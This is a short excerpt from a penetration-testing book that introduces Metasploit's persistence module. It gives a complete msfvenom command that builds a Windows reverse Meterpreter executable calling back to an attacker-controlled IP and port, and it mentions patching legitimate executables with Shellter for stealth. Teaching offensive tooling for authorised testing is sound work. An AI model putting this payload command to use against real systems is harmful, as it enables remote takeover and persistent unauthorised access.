Persistence with Metasploit and PowerShell Empire

We’ve covered generating payloads at several points throughout this book. We played around with just plain msfvenom to generate payloads in a variety of formats and with custom options, and we explored stealthy patching legitimate executables with Shellter for advanced compromise. Now, we bring the discussion full circle by leveraging Metasploit’s persistence module.

Creating a payload for the Metasploit persister

For the sake of this demonstration, we’re going to generate a quick-and-dirty reverse Meterpreter executable. However, note that when we configure the persistence module, we can use any executable we want. 

We’ll keep it nice and simple with the following command:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.154.133 LPORT=10000 -f exe > persist.exe

Substitute your own IP and local port, of course:

Figure 17.1 – Generating the payload...